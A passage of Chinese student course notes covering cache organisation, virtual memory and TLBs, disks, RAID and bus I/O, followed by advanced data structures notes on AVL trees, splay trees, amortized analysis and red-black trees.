但是要在同一组中并行比较两个Tag,所以需要多一个比较器(直接映射Cache只需要一个比较器);
如果是多路组相联Cache,那么就需要多路比较器;
如果整个块都是一组,那么就是全相连Cache(Fully Associative Cache);一个Cache有多少块就需要多少个比较器;
同时也不难发现,每多一组,Index的位数就会减少一位,Tag的位数就会增加一位;
对于n路组相联,首先得到块index,然后将块index mod n,得到组index,然后进入到组中将Tag和该组中的所有Tag进行比较,如果匹配成功,那么就命中,否则就未命中;
例如:
- 直接映射Cache: 8个块,8组,3位Index, 27位Tag;
- 二路组相联Cache: 8个块,4组,2位Index, 28位Tag; ...
Block大小对于Cache的影响
Block越大,Cache的命中率越高,但是Cache的Miss Penalty也越大;同时,Cache的容量也会变大.占用更多的空间.
Hit和Miss的处理¶
Read¶
如果要读某一个地址的数据,如果
- Read Hit Cache命中,那么就直接从Cache中读取数据;
- Read Miss Cache未命中,那么就从更低层次的存储器中读取数据,然后将其放入Cache中;
- data cache miss:先把对应的 block 从内存中取到 cache 里,然后再读
- instruction cache miss:暂停 CPU 的运行,即保持 PC 不变,从 memory 里把对应的 block 拿到 cache,然后重新运行当前这条指令
Write¶
-
Write Hit:
- Write Back: 只更新Cache中的数据,不更新更低层次的存储器,当更新过的数据从Cache中被替换出去时,才更新更低层次的存储器;此时需要一个Dirty bit来标记该数据是否被更新过;
- Write Through: 同时更新Cache和更低层次的存储器;
-
Write Miss:
- Write Allocate: 将数据从更低层次的存储器中读取到Cache中,然后更新Cache中的数据;
- Write No Allocate: 不将数据从更低层次的存储器中读取到Cache中,直接更新更低层次的存储器;
Write Back通常和Write Allocate一起使用(即先写入缓存,再写入更低层次的存储器),而Write Through通常和Write No Allocate一起使用(即直接写入更低层次的存储器);
替换策略¶
当Cache某一组已经满了,但是又要有新的块要进来,这时候就需要替换掉Cache中的一个块;
- 随机替换(Random Replacement): 随机选择一个块进行替换;
- 最近最少使用(Least Recently Used, LRU): 选择最近最少使用的块进行替换;
- 先进先出(First In First Out, FIFO): 选择最早进入Cache的块进行替换;
多级Cache¶
多级Cache的主要目的是为了在不同层次的存储器之间取得平衡。每一级Cache都有不同的大小和速度,越靠近CPU的Cache越小但速度越快,越远离CPU的Cache越大但速度越慢。
-
一级Cache(L1)非常小且非常快,通常与CPU核心集成在一起,用于存储最频繁使用的数据。二级Cache(L2)稍大一些,速度稍慢一些,但仍然比主存储器快。三级Cache(L3)更大更慢,但仍然比主存储器快。通过这种方式,系统可以在速度和容量之间取得平衡。
-
多级Cache可以显著减少内存访问的延迟。CPU首先尝试从L1 Cache读取数据,如果未命中则尝试从L2 Cache读取,依此类推,直到最终从主存储器读取数据。每一级Cache的命中率都很高,从而减少了访问主存储器的次数。
-
由于多级Cache可以减少内存访问的延迟,因此可以显著提高系统的整体性能。CPU可以更快地访问所需的数据,从而减少等待时间,提高指令执行效率。
-
多级Cache还可以帮助优化能效。访问较低层次的Cache比访问主存储器消耗更少的能量,因此多级Cache可以帮助减少系统的整体能耗。
总的来说,越靠近CPU的Cache,速度越快,容量越小,更加关注访问速度;越远离CPU的Cache,速度越慢,容量越大,更加关注Miss Rate;
多级Cache
假设初始CPI为1,L1 Cache的Miss Rate为1%,L2 Cache的Miss Rate为5%;
访问L2 Cache的时钟周期为10,访问主存的时钟周期为100;
- 如果没有L2 Cache,那么CPI为1+1%*100=11;
- 如果使用L2 Cache,那么CPI为1+1%*10+1%*5%*100=1.15;
大大减少了CPI,提高了性能;
这里还需要注意的一个点是,并不是说越往下的Cache Miss Rate一定越低,例如L1 Cache的Miss Rate为1%,L2 Cache的Miss Rate为5%,但是增加了L2 Cache后,Miss时必须要两个Cache都未命中,即增加多级Cache,可以降低整体的Miss Rate,单个Cache的Miss Rate未必低。
虚拟内存(Virtual Memory)¶
虚拟内存(Virtual Memory)是一种内存管理技术,它为应用程序提供了一个假象,即每个进程都拥有连续且独立的内存空间。实际上,虚拟内存将物理内存和磁盘存储结合起来,使得系统能够运行比实际物理内存更大的程序。
虚拟内存技术使得各个进程之间并不知道其他进程的物理地址空间,只有操作系统(OS)知道所有进程的地址空间,这样就保证了进程之间不会相互干扰,也避免了某些进程对于内存空间的破坏。
有以下几个概念
- 页(Page): 虚拟内存将内存划分为固定大小的块,称为页。
- 页表(Page Table): 页表是一个数据结构,用于映射虚拟地址到物理地址。每个进程都有一个独立的页表。
例如上图中左边是一个进程的虚拟地址空间,右边是物理地址空间和磁盘;虚拟地址空间是连续的,映射到了不连续的物理地址空间和磁盘空间;
虚拟地址映射只对地址的高位进行,即只进行虚拟页与物理页的映射;页内偏移是固定的;
一般而言,虚拟地址的位数比物理地址的位数更多;
每一次出现 page fault 我们都需要访问一次 disk,这是非常耗时的(访问时间可以达到访问 memory 的十万倍),因此我们需要尽可能减少 page fault,例如增大 page 的大小可以减少 page fault 的次数;访问硬盘太慢了,因此我们要采用 write back 策略。
Page Table 和 TLB¶
使用一个表格来记录虚拟地址到物理地址的映射关系;其index就是Virtual address,即虚拟页号;页表里面存放的是物理页号+1 bit的valid bit;
每一个进程都有自己各自的 page table,program counter 和 page table register(用来存储它对应的 page table 的位置),当我们在进程中切换时,只需要切换页表就可以了。
为了减少miss rate,页表使用的是全相连;但是注意页表不是Cache;
为了进一步提高Page Table的访问速度,我们可以使用TLB(Translation Lookaside Buffer)来加速;
TLB是页表的Cache,使用虚拟页号作为地址,有直接映射,组相联,全相联三种;
首选拿到虚拟地址,然后进行TLB的访问,如果TLB命中,那么就返回物理地址;如果TLB未命中,那么就去页表里面找;
- 如果发现对应项的 valid bit 是 1,那么就把它拿到 TLB 里此时被替换掉的 TLB entry 的 dirty bit 如果是 1,也要写回 page table)
- 如果对应项的 valid bit 是 0,就说明这一个 page 不在内存中,会触发一个 page fault。OS 会先把这个 page 从 disk 中取到内存中,并更新 page talbe,最后再重新执行一次 TLB 的查找
TLB, Page Table, Cache 三者之间Hit的情况如下表所示:
| TLB | Page table | Cache | Possible? If so, under what circumstance? |
|---|---|---|---|
| Hit | Hit | Hit | Possible, although the page table is never really checked if TLB hits. |
| Hit | Miss | Miss | Possible, although the page table is never really checked if TLB hits. |
| Miss | Hit | Hit | TLB misses, but entry found in page table; after retry, data is found in cache. |
| Miss | Hit | Miss | TLB misses, but entry found in page table; after retry, data misses in cache. |
| Miss | Miss | Miss | TLB misses and is followed by a page fault; after retry, data must miss in cache. |
| Hit | Miss | Miss | Impossible: cannot have a translation in TLB if page is not present in memory. |
| Hit | Miss | Hit | Impossible: cannot have a translation in TLB if page is not present in memory. |
| Miss | Miss | Hit | Impossible: data cannot be allowed in cache if the page is not in memory. |
Storage, Networks and Other I/O Topics¶
约 2820 个字 7 张图片 预计阅读时间 10 分钟
引入¶
I/O 操作是计算机系统中的一个重要组成部分,它是计算机与外部设备之间的数据传输。
I/O 设备的设计需要考虑许多方面,包括:
- 可拓展性
- 可靠性
- 性能
- 适应性
I/O 的性能主要由以下几个方面决定:
- 设备和系统之间的连接
- 内存层次架构
- 操作系统
每一个 I/O 设备都有一个对应的控制器,负责管理设备的操作。控制器通过总线(bus)与 CPU 进行通信,从而实现 I/O 设备与 CPU 的交互。
IO 的行为有输入(input)和输出(output),或者存储(storage)。
- Input: 从设备到主存,read once;
- Output: 从主存到设备,write only;
- Storage: can be reread and usually rewritten
如何评价一个 I/O 设备的性能主要取决于它的具体用途
Throughput
这里的吞吐量可以指单位时间传输的数据量,也可以指单位时间进行的 I/O 的操作的数量
Response time
响应时间,其实就是进行一次 I/O 操作所需的时间
both throughput and response time
同时考虑上面两个因素
硬盘的结构¶
硬盘(Hard Disk Drive, HDD)是计算机中常见的存储设备之一。它由多个盘片(platter)组成,这些盘片通过主轴(spindle)固定在一起,并且可以高速旋转。每个盘片的两面都覆盖有磁性材料,用于存储数据。
硬盘的主要组成部分包括:
- 盘片(Platter):硬盘内部的圆形磁盘,用于存储数据。盘片的数量可以有多个,通常为2到5个。每一个盘上都有很多同心圆,这些同心圆称为磁道(track),每一个磁道被划分为多个扇区(sector)。扇区是硬盘存储数据的最小单位。
- 主轴(Spindle):用于固定和旋转盘片的轴。主轴电机驱动盘片旋转,通常转速为5400 RPM(转每分钟)到7200 RPM,高性能硬盘可以达到10000 RPM甚至15000 RPM。
- 磁头(Read/Write Head):用于读取和写入数据的部件。每个盘片的两面都有一个磁头,磁头通过悬臂(actuator arm)固定在一起,并由伺服电机(servo motor)控制其移动。
- 悬臂(Actuator Arm):连接磁头并控制其在盘片表面上的移动。悬臂的移动由伺服电机驱动,可以在盘片的半径方向上移动,以便磁头能够访问盘片上的不同位置。
- 控制电路(Controller Circuit):硬盘内部的电路板,用于控制硬盘的读写操作、数据传输和错误校正等功能。
硬盘的工作原理如下:
- 当计算机需要读取或写入数据时,硬盘控制器会将相应的指令发送给硬盘。
- 主轴电机驱动盘片高速旋转,磁头在悬臂的控制下移动到指定的轨道(track)位置。
- 磁头通过感应盘片表面的磁性变化来读取数据,或通过改变盘片表面的磁性来写入数据。
- 读取或写入的数据通过控制电路传输到计算机的主存或其他设备。
硬盘的性能主要由以下几个方面决定:
- 转速(RPM):盘片的旋转速度,转速越高,数据访问速度越快。
- 磁头寻道时间(Seek Time):磁头移动到目标轨道所需的时间,寻道时间越短,数据访问速度越快。
- 数据传输率(Data Transfer Rate):硬盘与计算机之间的数据传输速度,传输率越高,数据访问速度越快。
- 缓存(Cache):硬盘内部的高速缓存,用于临时存储数据,提高数据传输效率。
硬盘的优点包括容量大、价格低廉、数据保存时间长等,但其缺点是速度较慢、易受震动影响、功耗较高等。
硬盘可靠性指标
- MTTF: Mean Time To Failure, 平均无故障时间,即两次故障之间的平均时间
- MTTR: Mean Time To Repair, 平均修复时间,即两次故障之间的平均修复时间
- MTBF: Mean Time Between Failure, 平均故障间隔时间,即两次可用时间之间的平均时间(MTTF+MTTR)
- Availability: 可用性,即硬盘在正常工作状态下的时间占总时间的比例(MTBF/(MTBF+MTTR))
- AFR: Annualized Failure Rate, 年化故障率,即硬盘在一年内的故障率,AFR=YEAR/MTTF
提升MTTF(平均无故障时间)的方法包括:
- Fault avoidance
- Fault tolerance
- Fault forecasting
Reliability of N disks = Reliability of 1 disk / N
硬盘的可靠性随着硬盘数量的增加而降低,这是因为每个硬盘都有可能发生故障.
RAID¶
RAID(Redundant Array of Inexpensive Disks,廉价磁盘冗余阵列)是一种将多个独立的物理硬盘组合成一个逻辑单元,以提高数据存储性能、可靠性和容量的技术。RAID有多个级别,每个级别都有不同的特点和应用场景。
RAID 0¶
RAID 0通过将数据条带化(striping)分布在多个磁盘上来提高性能。RAID 0没有冗余,因此数据的可靠性较低。如果其中一个磁盘发生故障,所有数据将会丢失。
- 优点:读写性能显著提高,存储利用率为100%。
- 缺点:没有数据冗余,可靠性低。
RAID 1¶
RAID 1通过将数据镜像(mirroring)到两个或多个磁盘上来提高数据可靠性。每个磁盘都有相同的数据副本,因此即使一个磁盘发生故障,数据仍然可以从其他磁盘中恢复。
- 优点:高数据可靠性,读性能有所提高。
- 缺点:存储利用率为50%,写性能略有下降。
RAID 2¶
RAID 2使用位级条带化(bit-level striping)和海明码(Hamming code)进行错误校正。RAID 2在现代系统中很少使用,因为其复杂性和对同步磁盘的需求。
- 优点:提供错误检测和校正。
- 缺点:实现复杂,存储利用率低。
RAID 3¶
RAID 3使用字节级条带化(byte-level striping)和一个专用的奇偶校验磁盘来提供数据冗余,当其中一个盘的数据出现问题时,可以通过其他盘的数据和校验位来恢复数据。RAID 3适用于大文件的顺序读写,但在处理多个并发请求时性能较差。
- 优点:提供数据冗余,适合大文件顺序读写。
- 缺点:并发处理性能较差,奇偶校验磁盘成为瓶颈;我们无法确定哪一个盘出现问题。
RAID 4¶
RAID 4使用块级条带化(block-level striping)和一个专用的奇偶校验磁盘。与RAID 3类似,但RAID 4在处理并发请求时性能更好。
-
优点:允许同时对不同的盘进行独立的读操作,RAID 4 让每一个 sector 都有自己单独的校验位,这样就可以确定出错的硬盘。对于 small read 和 large write 表现良好
-
缺点:奇偶校验磁盘仍然是瓶颈,对于 small write 表现不佳
RAID 5¶
RAID 5使用块级条带化和分布式奇偶校验。奇偶校验信息分布在所有磁盘上,消除了单一奇偶校验磁盘的瓶颈。RAID 5在性能和数据冗余之间取得了良好的平衡。
- 优点:提供数据冗余,读写性能较好,存储利用率高。
- 缺点:写操作需要计算和写入奇偶校验信息,性能略有下降。
RAID 6¶
RAID 6类似于RAID 5,但使用双重分布式奇偶校验,可以容忍两个磁盘同时发生故障。RAID 6提供了更高的数据可靠性,适用于对数据安全性要求较高的场景。
- 优点:提供更高的数据冗余,能够容忍两个磁盘故障。
- 缺点:写操作开销更大,存储利用率略低于RAID 5。
总线¶
总线并不只有单独一根线,实际上时多条线组合在一起,把各种设备相互连接起来。
- 控制线(Control Lines): 用于传输控制信号,如时钟信号、复位信号等。
- 数据线(Data lines): 用于上传输数据,例如地址和读写的数据。
总线工作:包括两个部分:发送地址和接收或发送数据
- 输入:从设备向内存输入数据
- 输出:从内存向设备输出数据
Bus transaction
同步和异步¶
- 同步(Synchronous):所有的设备都有相同的时钟频率,但由于数据传输有延迟,clock skew 无法避免,所以信号线的长度必须尽可能短
- 异步(Asynchronous): 设备不需要有相同的时钟频率,通过握手协议来进行数据传输
- 首先,I/O 设备发出
ReadReq信号,请求从主存储器读取数据,并传输相应的内存地址。 - 主存储器接收到
ReadReq信号并读取地址后,发出Ack信号,表示已收到ReadReq信号,并开始准备数据。 - I/O 设备收到
Ack信号后,将ReadReq信号置低,同时释放数据总线。 - 主存储器检测到
ReadReq信号已被置低后,将Ack信号置低。 - 当主存储器准备好数据后,将数据放到数据总线上,并升高
DataRdy信号。 - I/O 设备收到
DataRdy信号后,读取数据总线上的数据,并在数据读取完成后发出ACK信号,表示数据已读取完毕。 - 主存储器收到
ACK信号后,将DataRdy信号置低,并释放数据总线。 - I/O 设备收到
DataRdy信号后,将ACK信号置低,表示整个数据传输过程已完成,总线可以用于其他操作。
Bus Arbitration¶
总线上由多个设备共享,其中如果多个设备同时需要使用总线,就会出现冲突,这时就需要总线仲裁(bus arbitration)来解决这个问题,总线可能有多个Master,来决定哪一个I/O设备可以访问总线。这些master拥有不同的优先级
Communication with the processor¶
- polling: 轮询,CPU 不断询问每个设备是否需要使用总线,直到有一个设备响应为止,轮询会浪费 CPU 大量的时间,因为大部分情况下 I/O 设备都没有请求或者还没有准备好。
- interrupt: 中断,当设备需要使用总线时,通过中断请求(interrupt request)来通知CPU,CPU 在处理完当前任务后,会立即响应中断请求,并处理设备的需求,中断驱动的 I/O 操作可以让 CPU 在 I/O 设备读写数据的时候做其他的事情。
- DMA: 直接内存访问,DMA 控制器直接从内存中读取数据,而不需要CPU的干预,DMA 控制器可以独立于CPU进行数据传输,这样可以提高数据传输的效率,DMA 不需要 CPU 的控制,所以不会占用 CPU 的时间,但 DMA 实际上只用于数据的传输,它与 polling 和 interrupt 并不冲突
高级数据结构与算法分析
高级数据结构与算法分析¶
约 158 个字 2 行代码 预计阅读时间 1 分钟
授课:张国川 参考:吴一航学长的ADS讲义
在数据结构基础上,进一步学习数据结构的高级应用,特别是算法分析部分,偏向数学;
张国川老师是学术水平和教学水平都很高的老师,每每听课仿佛醍醐灌顶,富有启发;
奈何本人最后期末表现不佳,感谢老师,学生朽木。
目录¶
ADS_card 说明
目录卡片使用了自定义样式,源码在docs/css/card.css/ADS_card中,使用时需要引入该样式文件。
使用示例
<div class="ADS_card" style="--initial-text:'这是初始文字';--hover-text:'这是悬停文字,大小为0.7em';--hover-font-size:0.7em;">
</div>
Advance Data Structures and Algorithm Analysis¶
约 3022 个字 66 行代码 12 张图片 预计阅读时间 11 分钟
AVL tree(平衡二叉树)¶
AVL 数的想法是强制要求每次插入,删除之后都保证树的绝对平衡
AVL 数的递归定义
一颗空的树或它的左右两个子树的高度差的绝对值不超过1是AVL树,同时它的左右两个子树也是AVL树(从下往上看,不要从上往下看)
- 平衡因子(Balence factor) 简称 \(bf\),计算公式为
$$ bf = height_{left}-height_{right} $$
在AVL tree 中,\(bf\) 只能为 -1,0,1 三种情况之一

AVL tree 可以解决当顺序数据被插入到普通二叉搜索树的过程中,二叉搜素树会退化为链表的过程
不同类型的插入¶
LL型-右旋¶
在某结点的左结点(L)的左子树(L)上做了插入元素的操作导致失衡,我们称这种情况为左左型,应该进行右旋转
- A 向右旋转成为 B 的 右 child
- B的右子树成为A的左子树

Warning
需要注意的是,在这里,节点A的 \(bf\) 值只能是1,如果是0,说明左右树高相等,再插入也是AVL树,如果是-1,说明左边比右边矮,左边再长高1,也不会导致失衡
RR型-左旋¶
在某结点的 右结点(R)的 右子树(R)上做了插入元素的操作,我们称这种情况为 右右型 ,我们应该进行左旋转。
- A 向左旋转成为B的左child
- B 的左子树 成为 A 的右子树
Warning
节点A的 \(bf\) 值也是确定的
Note
总的来说,对于LL和RR型,我们解决失衡的方式是
对于LL,左结点当根
对于RR,右节点当根
LR 型-左右旋¶
在某结点的 左结点(L) 的 右子树(R) 上做了插入元素的操作导致失衡,我们称这种情况为 左右型 ,我们应该进行左右旋。
对于左右型,如果只进行单旋,不会解决问题

- 需要进行两次旋转(左右旋)
- 第一次(左旋): B左旋,成为C的左结点,C的左子树成为B的右子树
- 第二次(右旋): A右旋,成为C的右节点,C的右子树成为A的左子树
一个例子

RL 型-右左旋转¶
在某节点的在结点T的 右结点(R) 的 左子树(L) 上做了插入元素的操作,我们称这种情况为 右左型 ,我们应该进行右左旋。
同样,单旋对于RL型也没有用
- 需要进行两次旋转(右左旋)
- 第一次(右旋): B右旋,称为C的右结点,C的右子树成为B的左子树
- 第二次(左旋): A左旋,成为C的左节点,C的左子树成为A的右子树

总结
总的来说,对于LR和RL型,我们解决失衡的方式是
对于LR,左结点的右 child 当根
对于RL,右节点的左child 当根
Tip
如果一次插入最多只会导致插入路径上的一连串的结点失衡,我们只需要解决找到的第一个(最靠下的)失衡结点,将其解决,上面的结点自然也恢复到正常的平衡因子,所以,对于每次插入,我们至多只需要进行一次 rotation 就可以解决冲突了 但是对于删除,最坏的情况却要旋转 \(\log(n)\) 次
旋转前后,结点之间的相对位置不变,亦即左边的结点仍然在左边,右边的结点仍然在右边
AVL 树的搜索、插入和删除操作的时间复杂度为 \(O(\log n)\)
Splay tree(伸展树)¶
吴一航学长的ADS讲义
Splay 树的想法一方面来源于希望可以不像 AVL 那样保持严格的平衡约束,但也能保证某种层面(均摊)的对数时间复杂度,另一方面 Splay 树在访问(特别注意访问包括搜索、插入和删除)时都需要将元素移动到根结点,这非常符合程序局部性的要求,即刚刚访问的数据很有可能再次被访问,因此在实现缓存和垃圾收集算法中有一定的应用。
Splay 树并不在乎二叉树是否时刻都平衡,而是通过在每次操作时加上Splay操作,即通过一系列旋转将我们访问的结点移动到根结点
Note
Any M consecutive tree operations starting from an empty tree take at most \(O(M \log N)\) time.
Splay tree 希望从一棵空树开始连续的M个操作是 \(O(M \log N)\) 的
我们有两种旋转方式
naive的方式:
不断地把访问的结点与其父节点更换父子方式,即不断使用单旋一直转到根节点的位置,但是这种方法虽然满足了将访问的结点移动到根的需求,其路径上的结点却被移动到了很深的位置,这种方式不满足我们对于复杂度的要求
下面是合理的旋转方式:
对于任何不是根结点的结点 X ,我们关心它的 parent 节点 P 和它的 grandparent 结点 G:
- case 1: 如果 P 已经是根,直接旋转交换 P 和 X ,这与普通方法没什么区别
- case 2: 如果 P 并不是根,又分为两种情况
- Zig-zag(之字型): 双旋,使得X成为树根(不一定是树的根,是XPG子树的树根),这种情况与普通方法是一样的,与 AVL 树的 RL 和 LR 型也是一样的
- Zig-zig(同侧型): 单旋,其实叫做单旋,实际上也是转两次,应该是为了和 AVL 树不一样才这么叫。 Zig-zig 的方法才是是与naive的方法不一样的地方,普通方法先交换了 X 和 P 的位置,再交换 X 和 G 的位置; Zig-zig 的操作方法是先交换 P 和 G ,再交换 X 和 P,相当于 X 直接跨了两步

insert 1 to 7 and then find 1

编程实践-Find root of AVL tree
For each case, the first line contains a positive integer \(N\) which is the total number of keys to be inserted. Then \(N\) distinct integer keys are given in the next line. All the numbers in a line are separated by a space.
output the root of AVL treeeeeeeeeeeeeee!
pseudo code
Define structure Node:
data: integer
left: pointer to Node (initially NULL)
right: pointer to Node (initially NULL)
height: integer (initially 0)
Define height(root):
If root is NULL:
Return -1
Else:
Return root.height
Define LL_rotation(root):
new_root = root.left
root.left = new_root.right
new_root.right = root
Update root.height
Update new_root.height
Return new_root
Define RR_rotation(root):
new_root = root.right
root.right = new_root.left
new_root.left = root
Update root.height
Update new_root.height
Return new_root
Define LR_rotation(root):
root.left = RR_rotation(root.left)
Return LL_rotation(root)
Define RL_rotation(root):
root.right = LL_rotation(root.right)
Return RR_rotation(root)
Define insert(root, x):
If root is NULL:
Create a new node with data x
Set left and right child to NULL
Set height to 0
Return the new node
Else if x < root.data:
Recursively insert x into the left subtree
If height difference between left and right subtree is 2:
If x < root.left.data:
Perform LL_rotation on root
Else:
Perform LR_rotation on root
Else if x > root.data:
Recursively insert x into the right subtree
If height difference between right and left subtree is 2:
If x > root.right.data:
Perform RR_rotation on root
Else:
Perform RL_rotation on root
Update root.height = max(height(root.left), height(root.right)) + 1
Return root
Main function:
Read integer N (number of nodes to be inserted)
Initialize root as NULL
For each node:
Read integer x
Insert x into the AVL tree (root = insert(root, x))
Output the data of the root node
Amortized Analysis(摊还分析)¶
吴一航学长的ADS讲义
摊还分析的想法来源于我们希望估计一种数据结构经过一系列操作的平均花费时间。然而,平均时间 非常难计算,因为每一步都有非常多的选择,连续 m 个操作,可能的操作路径是指数级别的。并且有 时候平均涉及概率分布等,但我们并不知道确切的分布,因此比较难以计算。 一种最简单的估计方法就是用最差情况分析作为平均情况的上界,例如 Splay 树,每个操作最差都是 \(O(n)\)(n 为树中结点个数)的,因此平均不会比最差情况差,所以也是 \(O(n)\) 的。然而这样的估计显然 是放得太宽了,我们对这个复杂度是非常不满意的,因此我们需要进行摊还分析。事实上,在最差情况 的分析中,我们忽略了一件事情,就是有的序列是不可能出现的,例如直接在空的树上用 \(O(n)\) 时间删 除,摊还分析则是希望排除掉最差情况分析中把所有不管可能不可能的情况,最差的路径挑出来的这 种无脑行为,转而分析所有可能的从空结构开始的操作路径中,最差的平均时间,那么这一时间一定比 最差情况分析好,因为排除掉了一些不可能出现的所谓最差序列,但又会大于等于平均时间,因为取的 是所有可能序列中最差的那一种。因此当我们算出摊还分析的时间复杂度,那么它也一定是平均时间 的上界,同时这个上界会比最差情况分析好.
总的来说,我们希望分析 Average 的情况是比较困难的,分析 worst 的情况是比较粗糙的,所以我们使用摊还分析,通过"劫富济贫"(截长补短),将最坏的情况削弱,同时又是平均情况的上界,只要这种情况是满足条件的,我们就可以用它来证明。
准备工作
其中 \(\hat{c}_i\) 是第i次操作的摊还代价,\(c_i\) 是第i次操作的实际代价,\(\Delta_i\) 是第i次操作的是截的长(负值),或者补的短(正值)
我们还需要满足:
所以:
但是在面对Splay tree的操作,我们并不能每一次都很好的定义一种 \(\Delta_i\),所以我们需要用到势能函数,来构造首尾可以相消的项
这样,所有的成本
证明Splay tree每个操作的复杂度
我们定义势能函数 \(\Phi(T)\) 为
其中 \(Rank(x)=\log S(x)\)
即以\(x\)为根的子树的结点数的对数,包括\(x\)本身
对于Zig操作,有一次旋转,real cost = 1

在放缩的过程中,我们保留\(X\) $$ \hat{c}_i = 1 + R_2(X) - R_1(X) \ + R_2(P) - R_1(P) \ \leqslant 1 + R_2(X) - R_1(X) $$ 这是很自然的,因为\(R_2(P) - R_1(P) \leqslant 0\)
对于Zig-zag操作,有两次旋转,real cost = 2

在这里,\(R_2(X)=R_1(G),R_1(P)>R_1(X)\) 所以,只需要考虑\(R_2(P) + R_2(G)+2\)为什么小于等于\(2R_2(X)\),对于旋转后的树,我们有
对于Zig-zig操作,有两次旋转,real cost = 2

这种情况就稍难一点,首先我们仍然把\(R_2(X)=R_1(G)\),然后加上再减去\(R_1(X)\),此时式子变成
再有\(R_1(P) > R_1(X),R_2(P)<R_2(X)\) 那么就剩下\(R_1(X) + R_2(G) + 2 \leqslant 2R_2(X)\) 类似的,我们有
其实,这也是有迹可循的,主要想法就是用不等式的时候,左边两棵树没有互相包含的关系
总的来说,每次操作的 amortized cost 最多不超过 \(3 (R_2(X) - R_1(X))+1=O(\log N)\)
M次操作的总代价为 \(O(M\log N)\)
还没完,我们仍然需要证明,当初始势能不为0时,我们的摊还代价是正确的,其实即使不为0,我们可以确定其初始势能是有界的一个数
则平均摊还代价为
当n趋近于无穷大时,尾项自然就去掉了,所以我们的摊还代价仍然大于等于实际代价,是合理的
红黑树与B+树¶
约 3903 个字 11 行代码 8 张图片 预计阅读时间 14 分钟
我讨厌黑叔叔
红黑树不想像AVl树一样通过定义平衡因子,每次操作之后检查是否平衡,通过旋转来保持平衡,而是放松这一简单粗暴的想法,通过给结点染色,从而定义另一种平衡
红黑树的定义
一棵红黑树是满足以下性质的二叉搜索树
- 每个结点要么是红色,要么是黑色
- 根结点是黑色
- 每个叶结点(NIL结点,空结点)是黑色
- 如果一个结点是红色,那么它的两个子结点都是黑色
- 对于每个结点,从该结点到其所有后代叶结点的简单路径上,均包含相同数目的黑色结点
需要注意的是,对于一个没有左子结点的结点,我们认为其子结点是NIL结点,是黑色的
- 我们称 NIL 为外部结点,其余有键值的结点为内部结点。
- 从某个结点 X 出发到达一个叶子结点(NIL)的任意一条简单路径上的黑色结点个数(不含 X 本身)称为 X 的黑高,记为 bh(X)。根据定义第五条,这一定义是合理的,因为从 X 出发到达一个叶子结点的任意一条简单路径上的黑色结点个数相同。除此之外,我们定义整棵红黑树的黑高为其根结点的黑高。
一棵有 \(n\) 个内部结点的红黑树的高度至多为 \(2 \log (n + 1)\)。
吴一航学长的ADS讲义
如果我们舍去全部的红色结点,剩下的树的结点个数一定大于等于高度为 \(bh(root)\) 的完全平衡二叉树的结点个数,因为删掉红色结点后可能不是二叉,这就是证明的第一个步骤:证明以 \(X\) 为root结点的子树至少有 \(2^{bh(x)} − 1\) 个内部结点。而根据第四条,任何路径上黑色结点必定占到至少一半的数量,因为红色不能是父子关系,所以有了证明的第二步,树高最多为黑高 \(2\) 倍。
具体证明第一步,我们可以使用数学归纳法,对树的高度\(h(x)\)进行归纳
Proof
这样就得到了黑高的bound,再用第二步就得到了整个树高的上界了
Question
证明:在一棵红黑树中,从某结点 X 到其后代叶结点的所有简单路径中,最长的一条路径的长度至多是最短一条的 2 倍
最短路是全黑路,最长路是黑红相间的,而所有简单路径黑色结点个数一样,故而可以证明
对于搜索操作,红黑树的时间复杂度是 \(O(\log n)\) 的,对于插入和删除,其情况就会更加复杂一些
红黑树的插入¶
向红黑树中插入结点时,有可能会破坏树的平衡性质,插入时需要将该结点初始颜色设置为红色,因为如果是黑色,那么其性质5一定会被破坏,接下来我们讨论每一种可能的情况
插入在黑结点下面¶
最简单的情况,没有破坏任何性质,不需要做任何调整
插入空树中¶
破坏了性质2,但是处理方法也很简单,直接将其染色成黑色即可
插入到红色结点的子节点中¶
此时唯一被违反的就是定义第四条,为了恢复,我们的想法是,在不影响性质5(以及其它性质)的前提下,通过一系列的染色和旋转使得没有父子都是红色,主要分为以下3种情况
X 有红叔叔¶
X 的叔叔(即父亲的兄弟)是红色的,X 无论左右孩子都是该情况
wyy有话说
这里所有结点都带子树,一方面至少有 NIL 结点,另一方面这可以不仅仅表示刚刚插入的情况,也可以表示经过几次调整后还在被这种情况困扰,因此更具一般性。注意 G 一定是黑色,因为 P 是红色,插入前它们就在红黑树中,因此不可能违背定义第四条

我们的想法是将X的红色甩掉,此时它的父亲和叔叔都是红色了,自然只能求助于祖父,但是我们不能直接交换它们的颜色(如果祖父是红色而叔叔父亲是红色,也不满足条件),所以我们的方案将X的祖父染红,将X的父亲和叔叔染成黑色,(可以理解为将祖父的黑色分配给父亲和叔叔)此时不影响黑高的性质,但是并不代表问题已经解决了,因为曾祖父仍然可能是红色,但是至少问题网上推进了。如果一直推给根节点,根节点染黑即可,否则就是接下来的两种情况
X的叔叔是黑色的¶
- 情况2:X 的叔叔(即父亲的兄弟)是黑色的,且 X 是右孩子
- 情况3:X 的叔叔(即父亲的兄弟)是黑色的,且 X 是左孩子

情况2和情况3之间是存在互相转换的(由图可知),解决方案与AVL tree也是一致的,通过判断红色是LR还是LL来进行旋转,旋转完之后,重新染色,第一层是黑,第二层是红即可
Note
在以上的分析中,我们只考虑了X插入在左子树的情况,对于右子树的情况,实际上是完全对称的,对于情况一,仍然求助于祖父,对于情况二和情况三,则考虑RL和RR的情况,最后的染色也是一样的
吴一航学长的ADS讲义

一棵有 n 个内部结点的红黑树插入一个结点的时间复杂度为 \(O(\log n)\)。
Question
考虑从空树开始连续插入 \(n(n > 1)\) 个结点得到一棵红黑树(每一步插入都要保证红黑树性质),试问这棵树一定会有红色结点吗?若是,请给出清晰的证明;若不是,请举出反例。
一定会,可以使用数学归纳法证明:n = 2 时显然正确,根下面插入的结点一定是红色且无需调整;此后如果不需要调整,因为我们插入的是红色结点,因此红色结点只可能变多;如果需要调整,则根据三种情况的讨论,我们发现无论哪一种情况,在调整之后一定还保留着红色结点。有同学可能会质疑,情况 1 如果 G 到了根结点,则需要被染黑,但要注意的是,此时的 X 还是红色的,因此不管什么情况都是会保留红色结点
红黑树的删除¶
我们首先回忆普通二叉树的删除操作,主要有以下三种情况
- 如果X是叶子结点,直接删除即可
- 如果X只有一个孩子,直接用孩子替换X即可
- 如果X有两个孩子,找到X的后继Y,将Y的值赋给X,然后删除Y,这个Y一般而言是左子树的最大结点,或者是右子树的最小结点
第三种情况可以通过一步交换变成第一第二种情况中的一种,因为左子树的最大节点不可能有右结点,右子树的最小结点不可能有左结点
叶子结点的删除¶
